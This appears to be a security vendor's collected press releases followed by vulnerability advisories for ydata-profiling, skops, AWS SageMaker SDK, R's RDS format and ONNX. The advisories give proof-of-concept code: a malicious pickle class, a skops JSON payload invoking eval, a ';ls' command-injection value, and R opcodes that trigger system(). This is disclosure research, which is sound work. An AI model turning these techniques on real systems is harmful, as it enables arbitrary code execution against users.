Before joining HiddenLayer, Strong held senior leadership positions at cybersecurity innovators, including HUMAN Security, Blue Lava, and Obsidian Security, where she specialized in building teams, cultivating customer relationships, and shaping emerging markets. She also played pivotal early sales roles at CrowdStrike and FireEye, contributing to their go-to-market success ahead of their IPOs.

“I’m excited to join HiddenLayer at such a pivotal time,” said Strong. “As organizations across every sector rapidly deploy AI, they need partners who understand both the innovation and the risk. HiddenLayer is uniquely positioned to lead this space, and I’m looking forward to helping our customers confidently secure wherever they are in their AI journey.”

With this appointment, HiddenLayer continues to attract top talent to its executive bench, reinforcing its mission to protect the world’s most valuable machine learning assets.

About HiddenLayer
HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Press Contact
Victoria Lamson
SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

AUSTIN, TX — July 1, 2025 — HiddenLayer, the leading provider of security for AI models and assets, today announced that it listed its AI Security Platform in the AWS Marketplace for the U.S. Intelligence Community (ICMP). ICMP is a curated digital catalog from Amazon Web Services (AWS) that makes it easy to discover, purchase, and deploy software packages and applications from vendors that specialize in supporting government customers.

HiddenLayer’s inclusion in the AWS ICMP enables rapid acquisition and implementation of advanced AI security technology, all while maintaining compliance with strict federal standards.

“Listing in the AWS ICMP opens a significant pathway for delivering AI security where it’s needed most, at the core of national security missions,” said Chris Sestito, CEO and Co-Founder of HiddenLayer. “We’re proud to be among the companies available in this catalog and are committed to supporting U.S. federal agencies in the safe deployment of AI.”

HiddenLayer is also available to customers in AWS Marketplace, further supporting government efforts to secure AI systems across agencies.

About HiddenLayer
HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Press Contact
Victoria Lamson
SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

AUSTIN, Texas – April 23, 2025 – HiddenLayer, the leading security provider for AI models and assets, and Cyera, the pioneer in AI-native data security, today announced a strategic partnership to deliver end-to-end protection for the full AI lifecycle from the data that powers them to the models that drive innovation.

As enterprises embrace AI to accelerate productivity, enable decision-making, and drive innovation, they face growing security risks. HiddenLayer and Cyera are uniting their capabilities to help customers mitigate those risks, offering a comprehensive approach to protecting AI models from pre- to post-deployment. The partnership brings together Cyera’s Data Security Posture Management (DSPM) platform with HiddenLayer’s AISec Platform, creating a first-of-its-kind, full-spectrum defense for AI systems.

“You can’t secure AI without protecting the data enriching it,” said Chris “Tito” Sestito, Co-Founder and CEO of HiddenLayer. “Our partnership with Cyera is a unified commitment to making AI safe and trustworthy from the ground up. By combining model integrity with data-first protection, we’re delivering immediate value to organizations building and scaling secure AI.

Cyera’s AI-native data security platform helps organizations automatically discover and classify sensitive data across environments, monitor AI tool usage, and prevent data misuse or leakage. HiddenLayer’s AISec Platform proactively defends AI models from adversarial threats, prompt injection, data leakage, and model theft.

Together, HiddenLayer and Cyera will enable:

• End-to-end AI lifecycle protection - Secure model training data, the model itself, and the capability set from pre-deployment to runtime.
• Integrated detection and prevention - Enhanced sensitive data detection, classification, and risk remediation at each stage of the AI Ops process.
• Enhanced compliance and security for their customers: HiddenLayer will use Cyera’s platform internally to classify and govern sensitive data flowing through its environment, while Cyera will leverage HiddenLayer’s platform to secure their AI pipelines and protect critical models used in their SaaS platform.

"Mobile and cloud were waves, but AI is a tsunami, unlike anything we’ve seen before. And data is the fuel driving it,” said Jason Clark, Chief Strategy Officer, Cyera. “The top question security leaders ask is: ‘What data is going into the models?’ And the top blocker is: ‘Can we secure it?’ This partnership between HiddenLayer and Cyera solves both: giving organizations the clarity and confidence to move fast, without compromising trust.”

This collaboration goes beyond joint go-to-market. It reflects a shared belief that AI security must start with both model integrity and data protection. As the threat landscape evolves, this partnership delivers immediate value for organizations rapidly building and scaling secure AI initiatives.

“At the heart of every AI model is data that must be safeguarded to ensure ethical, secure, and responsible use of AI,” said Juan Gomez-Sanchez, VP and CISO for McLane, a Berkshire Hathaway Portfolio Company. “HiddenLayer and Cyera are tackling this challenge head-on, and their partnership reflects the type of innovation and leadership the industry desperately needs right now.” 

About HiddenLayer
HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

About Cyera
Cyera is the fastest-growing data security company in the world. Backed by global investors including Sequoia, Accel, and Coatue, Cyera’s AI-powered platform empowers organizations to discover, secure, and leverage their most valuable asset—data. Its AI-native, agentless architecture delivers unmatched speed, precision, and scale across the entire enterprise ecosystem. Pioneering the integration of Data Security Posture Management (DSPM) with real-time enforcement controls, Adaptive Data Loss Prevention (DLP), Cyera is delivering the industry’s first unified Data Security Platform—enabling organizations to proactively manage data risk and confidently harness the power of their data in today’s complex digital landscape.

Contact
Maia Gryskiewicz
SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

Yael Wissner-Levy
VP, Global Communications at Cyera
yaelw@cyera.io

Austin, TX – April 22, 2025 – HiddenLayer, the leading provider of security for AI models and assets, today announced the release of AISec Platform 2.0, the platform with the most context, intelligence, and data for securing AI systems across the entire development and deployment lifecycle. Unveiled ahead of the RSAC Conference 2025, this upgrade introduces advanced capabilities that empower security practitioners with deeper insights, faster response times, and greater control over their AI environments.

The new release includes Model Genealogy and AI Bill of Materials (AIBOM), expanding the platform’s observability and policy-driven threat management capabilities. With AISec Platform 2.0, HiddenLayer is establishing a new benchmark in AI security where rich context, actionable telemetry, and automation converge to enable continuous protection of AI assets from development to production.

“With the proliferation of agentic systems, context is key to driving meaningful security outcomes,” said Chris “Tito” Sestito, CEO and Co-founder of HiddenLayer. “The new AISec Platform delivers the necessary visibility into interoperating AI systems to ensure and enable security across enterprise and government environments.”

AISec Platform 2.0: Contextual Intelligence for Secure AI at Scale

AISec Platform 2.0 introduces:

• Model Genealogy: Unveils the lineage and pedigree of AI models to track how they were trained, fine-tuned, and modified over time, enhancing explainability, compliance, and threat identification.
• AI Bill of Materials (AIBOM): Automatically generated for every scanned model, AIBOM provides an auditable inventory of model components, datasets, and dependencies. Exported in an industry-standard format, it enables organizations to trace supply chain risk, enforce licensing policies, and meet regulatory compliance requirements.
• Enhanced Threat Intelligence & Community Insights: Aggregates data from public sources like Hugging Face, enriched with expert analysis and community insights, to deliver actionable intelligence on emerging machine learning security risks.
  
• Red Teaming & Telemetry Dashboards: Updated dashboards enable deeper runtime analysis and incident response across model environments, offering better visibility into prompt injection attempts, misuse patterns, and agentic behaviors.

HiddenLayer AISec Platform - Model Genealogy Feature

HiddenLayer AISec Platform - AIBOM Feature

Empowering Security Teams and Accelerating Safe AI Adoption

With AISec Platform 2.0, HiddenLayer empowers security teams to:

• Accelerate model development by reducing the time from experimentation to production from months to weeks.
• Gain full visibility into how and where AI models are being used, by whom, and with what level of access.
• Automate model governance and enforcement through white-glove policy recommendations and telemetry-driven enforcement tools.
• Deploy AI with confidence, transforming it from a high-risk initiative into a scalable, secure enterprise function.

Built for the Future of AI Security

AISec Platform 2.0 also lays the foundation for a new generation of AI threat detection and response. With integrated support for agentic systems, external threat intelligence, and deployment observability, HiddenLayer enables organizations to stay ahead of emerging risks while empowering security and AI teams to collaborate more effectively.

To learn more, schedule a meeting with the HiddenLayer team at RSAC 2025 or book a demo.

About HiddenLayer
HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Press Contact

Maia Gryskiewicz
SutherlandGold for HiddenLayer
hiddenlayer@sutherlandgold.com

AUSTIN, Texas - March 4, 2024 - HiddenLayer, the leading security provider for artificial intelligence (AI) models and assets, released its second annual AI Threat Landscape Report today, spotlighting the evolving security challenges organizations face as AI adoption accelerates. 

AI is driving business innovation at an unheard-of scale, with 89% of IT leaders stating AI models in production are critical to their organization’s success. Yet, security teams are racing to keep up, spending nearly half their time mitigating AI risks. The report underscores that security is key to unlocking AI’s immense potential. Encouragingly, companies are taking action, with 96% increasing their AI security budgets in 2025 to stay ahead of emerging threats.

The report surveyed 250 IT leaders to shed light on the increasing security risks associated with AI adoption, including the material impact of AI breaches, insufficient protections against adversarial attacks, and a lack of clarity around governance responsibilities.

Key findings include:

• An Increase in AI Attacks: 74% of organizations report definitely knowing they had an AI breach in 2024, up from 67% reporting the same last year, emphasizing the need for companies to act quickly to protect their AI systems.
• Failure to Disclose Incidents: Nearly half (45%) of organizations opted not to report an AI-related security breach due to concerns over reputational damage.
• Material Impact of AI Breaches: 89% say most or all AI models in production are critical to their success. But many continue to operate without comprehensive safeguards with only a third (32%) deploying a technology solution to address threats.
• Internal Debate About Who is Responsible for Security: 76% of organizations report ongoing internal debate about which teams should control AI security, illustrating the need for leaders to clearly define ownership as AI becomes central to business operations.

“Securing AI isn’t just about protection—it’s about accelerating progress,” said Chris "Tito" Sestito, Co-Founder and CEO of HiddenLayer. “Organizations that embrace securing AI as a strategic enabler, not just a safeguard, will be able to move more quickly to realize its benefits. This year’s report shows an encouraging shift: companies are recognizing that comprehensive security accelerates AI adoption, builds trust, and strengthens competitive advantage. HiddenLayer is committed to partnering with those organizations to protect their AI assets so they can continue to innovate.”

Additional trends identified in the report include:

• The rise of “shadow AI:” AI systems being used without official approval is also a growing concern, with 72% of IT leaders flagging it as a major risk.
• AI attack origination: 51% of AI attack sources originate from North America. Other regions contributing to AI threats include Europe (34%), Asia (32%), South America (21%), and Africa (17%).
• Source of AI breaches: 45% identified breaches coming from malware in models pulled from public repositories, while 33% originated from chatbots, and 21% from third party applications.

Looking ahead, the AI security landscape will continue to face even more sophisticated challenges in 2025. Predictions for what’s on the horizon in the next year include:

• Agentic AI as a Target: Integrating agentic AI will blur the lines between adversarial AI and traditional cyberattacks, leading to a new wave of targeted threats. Expect phishing and data leakage via agentic systems to be a hot topic.
• Erosion of Trust in Digital Content: As deepfake technologies become more accessible, audio, visual, and text-based digital content will face a near-total erosion of trust. Expect to see advances in AI watermarking to help combat such attacks.
• Adversarial AI: Organizations will integrate adversarial machine learning into standard red team exercises, testing for AI vulnerabilities proactively before deployment.
• AI-Specific Incident Response: For the first time, formal incident response guidelines tailored to AI systems will be developed, providing a structured approach to AI-related security breaches. Expect to see playbooks developed for AI risks.
• Advanced Threat Evolution: Fraud, misinformation, and network attacks will escalate as AI evolves across domains such as computer vision (CV), audio, and natural language processing (NLP). Expect to see attackers leveraging AI to increase both the speed and scale of attack, as well as semi-autonomous offensive models designed to aid in penetration testing and security research.
• Emergence of AIPC (AI-Powered Cyberattacks): As hardware vendors capitalize on AI with advances in bespoke chipsets and tooling to power AI technology, expect to see attacks targeting AI-capable endpoints intensify.

HiddenLayer’s products and services accelerate the process of securing AI, with its AISec Platform providing a comprehensive AI security solution that ensures the integrity and safety of models throughout an organization's MLOps pipeline. As part of the platform, HiddenLayer’s provides its Artificial Intelligence Detection & Response (AIDR), which enables organizations to automate and scale the protection of AI models and ensure their security in real-time, its Model Scanner, which allows companies to evaluate the security and integrity of their AI artifacts before deploying them, and Automated Red Teaming, which provides one-click vulnerability testing to identify, remediate, and document security risks. 

For more information, view the full report here. 

About HiddenLayer

HiddenLayer, a Gartner-recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise’s AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.

Contact

Maia Gryskiewicz

SutherlandGold for HiddenLayer

hiddenlayer@sutherlandgold.com

Products Impacted

This vulnerability is present in Ydata-profiling v3.7.0 or newer.

CVSS Score: 7.8

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

In src/ydata_profiling/serialize_report.py pickle is used to load serialized profiles within the loads function. The load function relies on the loads function and is therefore also vulnerable:

def loads(self, data: bytes) -> Union["ProfileReport", "SerializeReport"]:
        """
        Deserialize the serialized report

        Args:
            data: The bytes of a serialize ProfileReport object.

        Raises:
            ValueError: if ignore_config is set to False and the configs do not match.

        Returns:
            self
        """
        import pickle

        try:
            (
                df_hash,
                loaded_config,
                loaded_description_set,
                loaded_report,
            ) = pickle.loads(data)

This can be abused by generating a malicious pickle and using the load or loads functions:

from ydata_profiling import ProfileReport
import pickle

class Exploit:
    def __reduce__(self):
        return eval, ("print('pwned')",)

profile = ProfileReport().loads(pickle.dumps(Exploit()))

In the example above we pickle dumps directly into the loads function, in a real attack the user would be affected by the load function or by passing the bytes into the loads function after reading them from a file or over the network.

Products Impacted

This vulnerability is present in Skops v0.6 and newer.

CVSS Score: 7.8

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

This vulnerability breaks down into 2 main components, the ability to load arbitrary functions into memory, and the ability to call a function in the operator module. The first can be done by creating a node of type TypeNode and pulling in any function you want, such as the builtin eval function:

{
	"__class__": "eval",
	"__module__": "builtins",
	"__loader__": "TypeNode",
	"__id__": 1
}

Because we can load functions into memory, if we are able to call them with the arguments that we want we can then exploit the loading system. This occurs in the compilation of a OperatorFuncNode node:

In Python 3.11 and later there is a function in the operator module called call which allows a user to call a function passed to it. This means that we need to create a model that grabs the call function and then passes in the eval function and the code we want to run:

{
  "__class__": "call",
  "__module__": "",
  "__loader__": "OperatorFuncNode",
  "attrs": {
    "__class__": "tuple",
    "__module__": "builtins",
    "__loader__": "TupleNode",
    "content": [
      {
        "__class__": "eval",
        "__module__": "builtins",
        "__loader__": "TypeNode",
        "__id__": 1
      },
      {
        "__class__": "str",
        "__module__": "builtins",
        "__loader__": "JsonNode",
        "content": "\"print('pwned by Abraxus from HiddenLayer')\"",
        "__id__": 5,
        "is_json": true
      }
    ],
    "__id__": 8
  },
  "__id__": 0,
  "protocol": 1,
  "_skops_version": "0.10.dev0"
}

When loaded with the trusted parameter set to True or setting the trusted types to all unknown types, this then executes the code and returns None. In the tutorial for how to use the library (scikit-learn documentation) both examples would allow for code execution:

However, for the security minded individuals out there, since in multiple parts of the codebase load and loads are called with trusted set to True inside of another function, users can still be exploited. One example of this is the update command line tool:

Project URL

https://github.com/skops-dev/skops

Researcher: Kasimir Schulz, Principal Security Researcher, HiddenLayer

Products Impacted

This vulnerability is present in AWS Sagemaker Python SDK v2.199.0 up to v2.218.0.

CVSS Score: 7.8

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

The capture_dependencies function takes a string representing the requirements path, tries importing pigar, and then passes the requirements_path to os.system.

def capture_dependencies(requirements_path: str):
    """Placeholder docstring"""
    logger.info("Capturing dependencies...")

    try:
        import pigar

        pigar.__version__  # pylint: disable=W0104
    except ModuleNotFoundError:
        logger.warning(
            "pigar module is not installed in python environment, "
            "dependency generation may be incomplete"
            "Checkout the instructions on the installation page of its repo: "
            "https://github.com/damnever/pigar "
            "And follow the ones that match your environment."
            "Please note that you may need to restart your runtime after installation."
        )
        import sagemaker

        sagemaker_dependency = f"{sagemaker.__package__}=={sagemaker.__version__}"
        with open(requirements_path, "w") as f:
            f.write(sagemaker_dependency)
        return

    command = f"pigar gen -f {Path(requirements_path)} {os.getcwd()}"
    logging.info("Running command %s", command)

    os.system(command)
    logger.info("Dependencies captured successfully")

We can then create a proof of concept which breaks the call to pigar and instead runs Is:

from sagemaker.serve.save_retrive.version_1_0_0.save.utils import capture_dependencies

requirements_path = ";ls"

capture_dependencies(requirements_path)

When run, we can see that the “ls” command was executed:

Project URL

https://github.com/aws/sagemaker-python-sdk

Researcher: Kasimir Schulz, Principal Security Researcher, HiddenLayer

Products Impacted

This vulnerability is present in AWS Sagemaker Python SDK v2.154.0 up to v2.218.0.

CVSS Score: 7.8

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data

Details

As stated above, the vulnerability exists in the NumpyDeserializer deserialize function:

def deserialize(self, stream, content_type):
        """Deserialize data from an inference endpoint into a NumPy array.

        Args:
            stream (botocore.response.StreamingBody): Data to be deserialized.
            content_type (str): The MIME type of the data.

        Returns:
            numpy.ndarray: The data deserialized into a NumPy array.
        """
        try:
            if content_type == "text/csv":
                return np.genfromtxt(
                    codecs.getreader("utf-8")(stream), delimiter=",", dtype=self.dtype
                )
            if content_type == "application/json":
                return np.array(json.load(codecs.getreader("utf-8")(stream)), dtype=self.dtype)
            if content_type == "application/x-npy":
                return np.load(io.BytesIO(stream.read()), allow_pickle=self.allow_pickle)
            if content_type == "application/x-npz":
                try:
                    return np.load(io.BytesIO(stream.read()), allow_pickle=self.allow_pickle)
                finally:
                    stream.close()
        finally:
            stream.close()

        raise ValueError("%s cannot read content type %s." % (__class__.__name__, content_type))

If the content type is either “application/x-npy” or “application/x-npz” then the stream with the malicious pickle file gets sent to the np.load function, allowing for code execution to occur. The root cause of the vulnerability, however, exists within the class initializer:

    def __init__(self, dtype=None, accept="application/x-npy", allow_pickle=True):
        """Initialize a ``NumpyDeserializer`` instance.

        Args:
            dtype (str): The dtype of the data (default: None).
            accept (union[str, tuple[str]]): The MIME type (or tuple of allowable MIME types) that
                is expected from the inference endpoint (default: "application/x-npy").
            allow_pickle (bool): Allow loading pickled object arrays (default: True).
        """
        super(NumpyDeserializer, self).__init__(accept=accept)
        self.dtype = dtype
        self.allow_pickle = allow_pickle

As mentioned in the summary, by having allow_pickle set to true, the function is unsafe by default. A user would be compromised if their code opens a malicious pickle object and passes the stream to deserialize like the below example:

# Use the NumpyDeserializer
from sagemaker.base_deserializers import NumpyDeserializer

with open("bad.npy", "rb") as f:
    NumpyDeserializer().deserialize(f, "application/x-npy")

with open("bad.npy", "rb") as f:
    NumpyDeserializer().deserialize(f, "application/x-npz")

When the above file is run, we can see that “pwned” is printed out twice:

Introduction

What is R?

R is an open-source programming language and software environment for statistical computing, data visualization, and machine learning. Consisting of a strong core language and an extensive list of libraries for additional functionality, it is only natural that R is popular and widely used today, often being the only programming language that statistics students learn in school. As a result, the R language holds a significant share in industries such as healthcare, finance, and government, each employing it for its prowess in performing statistical analysis in large datasets. Due to its usage with large datasets, R has also become increasingly popular in the AI/ML field.

To further underscore R’s pervasiveness, many R conferences are hosted around the world, such as the R Gov Conference, which features speakers from major organizations such as NASA, the World Health Organization (WHO), the US Food and Drug Administration (FDA), the US Army, and so on. R’s use within the biomedical field is also very established, with pharmaceutical giants like Pfizer and Merck & Co. actively speaking about R at similar conferences.

R has a dedicated following even in the open-source community, with projects like Bioconductor being referenced in their documentation, boasting over 42 million downloads and 18,999 active support site members last year. R users love R – which is even more evident when we consider the R equivalent to Python’s PyPI – CRAN.

The Comprehensive R Archive Network (CRAN) repository hosts over 20,000 packages to date. The R-project website also links to the project repository R-forge, which claims to host over 2,000 projects with over 15,000 registered users at the time of writing.

All of this is to say that the exploitation of a code execution vulnerability in R can have far-reaching implications across multiple verticals, including but not limited to vital government agencies, medical, and financial institutions.

So, how does an attack on R work? To understand this, we have to look at the R Data Serialization process, or RDS, for short.

What is RDS?

Before explaining what RDS is in relation to R, we will first give a brief overview of data serialization. Serialization is the process of converting a data structure or object into a format that can be stored locally or transferred over a network. Conversely, serialized objects can be reconstructed (deserialized) for use as and when needed. As HiddenLayer’s SAI team has previously written about, the serialization and deserialization of data can often be vulnerable to exploitation when callable objects are involved in the process.

R has a serialization format of its own whereby a user can serialize an object using saveRDS and deserialize it using readRDS. It’s worth mentioning that this format is also leveraged when R packages are saved and loaded. When a package is compiled, a .rdb file containing serialized representations of objects to be included is created. The .rdb file is accompanied by a .rdx file containing metadata relating to the binary blobs now stored in the .rdb file. When the package is loaded, R uses the .rdx index file to locate the data stored in the .rdb file and load it into RDS format.

Multiple functions within R can be used to serialize and deserialize data, which slightly differ from each other but ultimately leverage the same internal code. For example, the serialize() function works slightly differently from the saveRDS() function, and the same is true for their counterpart functions: unserialize() and readRDS(); as you will see later, both of these work their way through to the same internal function for deserializing the data.

Vulnerability Overview

Our team discovered that it is possible to craft a malicious RDS file that will execute arbitrary code when loaded and referenced. This vulnerability, assigned CVE-2024-27322, involves the use of promise objects and lazy evaluation in R.

R’s Interpreted Serialization Format

As we mentioned earlier, several functions and code paths lead to an RDS file or blob getting deserialized. However, regardless of where that request originated, it eventually leads to the R_Unserialize function inside of serialize.c, which is what our team honed in on. Like most other formats, RDS contains a header, which is the first component parsed by the R_Unserialize function.

The header for an RDS binary blob contains five main components:

• the file format
• the version of the file
• the R version that was used to serialize the blob
• the minimum R version needed to read the blob
• depending on the version number, a string representing the native encoding.

RDS files can be either an ASCII format, a binary format, or an XDR format, with the XDR format being the most prevalent. Each has its own magic numbers, which, while only needing one byte, are stored in two bytes; however, due to an issue with the ASCII format, files can sometimes have a magic number of three bytes in the header. After reading the two – or sometimes three – byte magic number for the format, the R_Unserialize function reads the other header items, which are each considered an integer (4 bytes for both the XDR and binary formats and up to 127 bytes for the ASCII format). If the file version is 2, no header checks are performed. If the file version is 3, then the function reads another integer, checks its size, and then reads a string of the length into the native_encoding variable, which is set to ‘UTF-8’ by default. If the version is neither 2 nor 3, then the writer version and minimum reader versions are checked. Once the header has been read and validated, the function tries to read an item from the blob.

The RDS format is interesting because while consisting of bytecode that gets parsed and run in the interpreter inside the ReadItem function, the instructions do not include a halt, stop, or return command. The deserialization function will only ever return one object, and once that object has been read, the parsing will end. This means that one technical challenge for an exploit is that it needs to fit naturally into an existing object type and cannot be inserted before or after the returned object. However, despite this limitation, almost all objects in the R language can be serialized and deserialized using RDS due to attributes, tags, and nested values through the internal CAR and CDR structures.

The RDS interpreter contains 36 possible bytecode instructions in the ReadItem function, with several additional instructions becoming available when used in relation to one of the main instructions. RDS instructions all have different lengths based on what they do; however, they all start with one integer that is encoded with the instruction and all of the flags through bit masking.

The Promise of an Exploit

After spending some time perusing the deserialization code, we found a few functions that seemed questionable but did not have an actual vulnerability, that is, until we came across an instruction that created the promise object. To understand the promise object, we need to first understand lazy evaluation. Lazy evaluation is a strategy that allows for symbols to be evaluated only when needed, i.e., when they are accessed. One such example is the delayedAssign function that allows a variable to be assigned once it has been accessed:

Figure 1: DelayedAssign Function

The above is achieved by creating a promise object that has both a symbol and an expression attached to it. Once the symbol ‘y’ is accessed, the expression assigning the value of ‘x’ to ‘y’ is run. The key here is that ‘y’ is not assigned the value 1 because ‘y’ is not assigned to ‘x’ until it is accessed. While we were not successful in gaining code execution within the deserialization code itself, we thought that since we could create all of the needed objects, it might be possible to create a promise that would be evaluated once someone tried to use whatever had been deserialized.

The Unbounded Promise

After some research, we found that if we created a promise where instead of setting a symbol, we set an unbounded value, we could create a payload that would run the expression when the promise was accessed:

Opcode(TYPES.PROMSXP, 0, False, False, False,None,False),
Opcode(TYPES.UNBOUNDVALUE_SXP, 0, False, False, False,None,False),
Opcode(TYPES.LANGSXP, 0, False, False, False,None,False),
Opcode(TYPES.SYMSXP, 0, False, False, False,None,False),
Opcode(TYPES.CHARSXP, 64, False, False, False,"system",False),
Opcode(TYPES.LISTSXP, 0, False, False, False,None,False),
Opcode(TYPES.STRSXP, 0, False, False, False,1,False),
Opcode(TYPES.CHARSXP, 64, False, False, False,'echo "pwned by HiddenLayer"',False),
Opcode(TYPES.NILVALUE_SXP, 0, False, False, False,None,False),

Once the malicious file has been created and loaded by R, the exploit will run no matter how the variable is referenced:

Figure 2: readRDS Exploited

R Supply Chain Attacks

ShaRing Objects

After searching GitHub, our team discovered that readRDS, one of the many ways this vulnerability can be exploited, is referenced in over 135,000 R source files. Looking through the repositories, we found that a large amount of the usage was on untrusted, user-provided data, which could lead to a full compromise of the system running the program. Some source files containing potentially vulnerable code included projects from R Studio, Facebook, Google, Microsoft, AWS, and other major software vendors.

R Packages

R packages allow for the sharing of compiled R code and data that can be leveraged by others in their statistical tasks. As previously mentioned, at the time of writing, the CRAN package repository claims to feature 20,681 available packages. Packages can be uploaded to this repository by anybody; there are criteria a package must fulfill in order to be accepted, such as the fact that the package must contain certain files (such as a description) and must pass certain automated checks (which do not check for this vulnerability).

To recap, R packages leverage the RDS format to save and load data. When a package is compiled, two files are created that facilitate this:

• .rdb file: objects to be included within the package are serialized into this file as binary blobs of data;
• .rdx file: contains metadata associated with each serialized object within the .rbd file, including their offsets.

When a package is loaded, the metadata stored in the RDS format within the .rdx file is used to locate the objects within the .rdb file. These objects are then decompressed and deserialized, essentially loading them as RDS files.

This means R packages are vulnerable to the deserialization vulnerability and can, therefore, be used as part of a supply chain attack via package repositories. For an attacker to take over an R package, all they need to do is overwrite the .rdx file with the maliciously crafted file, and when the package is loaded, it will automatically execute the code:

If one of the main system packages, such as compiler, has been modified, then the malicious code will run when R is initialized.

Conclusion

R is an open-source statistical programming language used across multiple critical sectors for statistical computing tasks and machine learning. Its package building and sharing capabilities make it flexible and community-driven. However, a drawback to this is that not enough scrutiny is being placed on packages being uploaded to repositories, leaving users vulnerable to supply chain attacks.

R’s serialization and deserialization process, which is used in the process of creating and loading RDS files and packages, has an arbitrary code execution vulnerability. An attacker can exploit this by crafting a file in RDS format that contains a promise instruction setting the value to unbound_value and the expression to contain arbitrary code. Due to lazy evaluation, the expression will only be evaluated and run when the symbol associated with the RDS file is accessed. Therefore if this is simply an RDS file, when a user assigns it a symbol (variable) in order to work with it, the arbitrary code will be executed when the user references that symbol. If the object is compiled within an R package, the package can be added to an R repository such as CRAN, and the expression will be evaluated and the arbitrary code run when a user loads that package.

Given the widespread usage of R and the readRDS function, the implications of this are far-reaching. Having followed our responsible disclosure process, we have worked closely with the team at R who have worked quickly to patch this vulnerability within the most recent release – R v4.4.0. In addition, HiddenLayer’s AISec Platform will provide additional protection from this vulnerability in its Q2 product release.

Products Impacted

This vulnerability is present in ONNX v1.1.0 up to and including v1.15.0.

CVSS Score: 3.3

AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE Categorization

CWE-125: Out-of-bounds Read

Details

The vulnerability exists within the onnx/common/assertions.cc file, in the barf function. This is triggered when any assert fails and the resulting string is 2048 characters or longer.

std::string barf(const char* fmt, ...) {
  char msg[2048];
  va_list args;

  va_start(args, fmt);
  // Although vsnprintf might have vulnerability issue while using format string with overflowed length,
  // it should be safe here to use fixed length for buffer "msg". No further checking is needed.
  vsnprintf(msg, 2048, fmt, args);
  va_end(args);

  return std::string(msg);
}

In the barf function, which is called by  ONNX_ASSERT and ONNX_ASSERTM a buffer with 2048 bytes is allocated for the generated string. However, in the vsnprintf call 2048 bytes are copied to the buffer before turning the buffer into a string. This means that any strings 2048 bytes or longer will not have a null terminator. When the string is created the program will continue reading past the end of the buffer and will copy arbitrary program memory until a string terminator is reached.

Project URL

https://github.com/onnx/onnx

Patches

https://github.com/onnx/onnx/releases/tag/v1.16.0

Products Impacted

This vulnerability is present in ONNX v1.4.0 up to and including v1.15.0.

CVSS Score: 5.5

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CWE Categorization

CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

Details

The vulnerability exists within the onnx/external_data_helper.py file, in the load_external_data_for_tensor function. This is triggered when the onnx.external_data_helper._get_all_tensors function is called on a loaded model.

def load_external_data_for_tensor(tensor: TensorProto, base_dir: str) -> None:
    """
    Loads data from an external file for tensor.
    Ideally TensorProto should not hold any raw data but if it does it will be ignored.

    Arguments:
        tensor: a TensorProto object.
        base_dir: directory that contains the external data.
    """
    info = ExternalDataInfo(tensor)
    file_location = _sanitize_path(info.location)
    external_data_file_path = os.path.join(base_dir, file_location)

    with open(external_data_file_path, "rb") as data_file:
        if info.offset:
            data_file.seek(info.offset)

        if info.length:
            tensor.raw_data = data_file.read(info.length)
        else:
            tensor.raw_data = data_file.read()

An attacker can exploit this vulnerability by creating an ONNX model with external tensors which contain malicious paths meant to traverse out of the designated directory. However, as can be seen in the above code snippet, there is an attempt to sanitize the path information provided by the user. This is a result of CVE-2022-25882, the predecessor of this vulnerability, which resulted in the developers implementing a sanitization function to prevent path traversals in the external tensor loader.

